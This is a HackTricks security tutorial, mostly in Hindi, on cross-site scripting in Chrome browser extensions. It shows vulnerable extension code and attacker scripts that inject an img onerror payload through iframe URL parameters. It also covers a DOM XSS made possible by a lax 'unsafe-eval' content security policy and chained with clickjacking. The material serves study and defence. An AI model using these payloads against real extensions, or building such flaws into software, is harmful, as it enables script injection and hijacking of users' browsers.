BrowExt - XSS Example

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

आईफ्रेम के माध्यम से क्रॉस-साइट स्क्रिप्टिंग (XSS)

इस सेटअप में, एक कंटेंट स्क्रिप्ट को एक आईफ्रेम को स्थापित करने के लिए लागू किया जाता है, जिसमें एक URL शामिल होता है जिसे आईफ्रेम के स्रोत के रूप में उपयोग किया जाता है:

chrome.storage.local.get("message", result => {
let constructedURL = chrome.runtime.getURL("message.html") +
"?content=" + encodeURIComponent(result.message) +
"&redirect=https://example.net/details";
frame.src = constructedURL;
});

एक सार्वजनिक एचटीएमएल पेज, message.html, डॉक्यूमेंट बॉडी में सामग्री डायनामिक रूप से जोड़ने के लिए डिज़ाइन किया गया है जो यूआरएल में पैरामीटर्स पर आधारित है:

$(document).ready(() => {
let urlParams = new URLSearchParams(window.location.search);
let userContent = urlParams.get("content");
$(document.body).html(`${userContent} <button id='detailBtn'>Details</button>`);
$('#detailBtn').on('click', () => {
let destinationURL = urlParams.get("redirect");
chrome.tabs.create({ url: destinationURL });
});
});

एक दुराचारी के पृष्ठ पर एक हानिकारक स्क्रिप्ट को निषेधी किया जाता है, जो Iframe के स्रोत के content पैरामीटर को संशोधित करता है ताकि एक XSS पेलोड दर्ज किया जा सके। इसे हानिकारक स्क्रिप्ट शामिल करने के लिए Iframe के स्रोत को अपडेट करके प्राप्त किया जाता है:

setTimeout(() => {
let targetFrame = document.querySelector("iframe").src;
let baseURL = targetFrame.split('?')[0];
let xssPayload = "<img src='invalid' onerror='alert(\"XSS\")'>";
let maliciousURL = `${baseURL}?content=${encodeURIComponent(xssPayload)}`;

document.querySelector("iframe").src = maliciousURL;
}, 1000);

एक अत्यधिक अनुमति देने वाली सामग्री सुरक्षा नीति जैसे:

"content_security_policy": "script-src 'self' 'unsafe-eval'; object-src 'self';"

जावास्क्रिप्ट का क्रियान्वयन संभव होने देने के कारण, सिस्टम XSS हमलों के लिए वंर्णनशील हो जाता है।

XSS को उत्प्रेरित करने के लिए एक वैकल्पिक दृष्टिकोण एक Iframe तत्व बनाने और उसके स्रोत को हानिकारक स्क्रिप्ट को content पैरामीटर के रूप में शामिल करने में समाहित करने का है:

let newFrame = document.createElement("iframe");
newFrame.src = "chrome-extension://abcdefghijklmnopabcdefghijklmnop/message.html?content=" +
encodeURIComponent("<img src='x' onerror='alert(\"XSS\")'>");
document.body.append(newFrame);

DOM-based XSS + ClickJacking

यह उदाहरण मूल पोस्ट लेख से लिया गया था।

मूल मुद्दा एक DOM-आधारित क्रॉस-साइट स्क्रिप्टिंग (XSS) वंरबिलिटी से उत्पन्न होता है जो /html/bookmarks.html में स्थित है। समस्यात्मक जावास्क्रिप्ट, bookmarks.js का हिस्सा, नीचे विस्तार से दिया गया है:

$('#btAdd').on('click', function() {
var bookmarkName = $('#txtName').val();
if ($('.custom-button .label').filter(function() {
return $(this).text() === bookmarkName;
}).length) return false;

var bookmarkItem = $('<div class="custom-button">');
bookmarkItem.html('<span class="label">' + bookmarkName + '</span>');
bookmarkItem.append('<button class="remove-btn" title="delete">x</button>');
bookmarkItem.attr('data-title', bookmarkName);
bookmarkItem.data('timestamp', (new Date().getTime()));
$('section.bookmark-container .existing-items').append(bookmarkItem);
persistData();
});

This snippet fetches the value from the txtName input field and uses string concatenation to generate HTML, which is then appended to the DOM using jQuery’s .append() function.

Typically, the Chrome extension's Content Security Policy (CSP) would prevent such vulnerabilities. However, due to CSP relaxation with ‘unsafe-eval’ and the use of jQuery’s DOM manipulation methods (which employ globalEval() to pass scripts to eval() upon DOM insertion), exploitation is still possible.

While this vulnerability is significant, its exploitation is usually contingent on user interaction: visiting the page, entering an XSS payload, and activating the “Add” button.

To enhance this vulnerability, a secondary clickjacking vulnerability is exploited. The Chrome extension's manifest showcases an extensive web_accessible_resources policy:

"web_accessible_resources": [
"html/bookmarks.html",
"dist/*",
"assets/*",
"font/*",
[...]
],

महत्वपूर्ण रूप से, /html/bookmarks.html पेज फ्रेमिंग के लिए संवेदनशील है, इसलिए क्लिकजैकिंग के लिए विकल्प है। इस सुरक्षा कमी का उपयोग करके हमलावर की साइट के भीतर पेज को फ्रेम करने के लिए किया जाता है, जिसमें DOM तत्वों के साथ ओवरले करके इंटरफेस को धोखाधड़ी से पुनरूपित किया जाता है। यह मानिपुलेशन पीड़ितों को अज्ञात रूप से पृष्ठ के साथ अंतर्क्रिया करने की ओर ले जाता है।

संदर्भ

जानें AWS हैकिंग को शून्य से हीरो तक htARTE (HackTricks AWS Red Team Expert) के साथ!

HackTricks का समर्थन करने के अन्य तरीके:

Last updated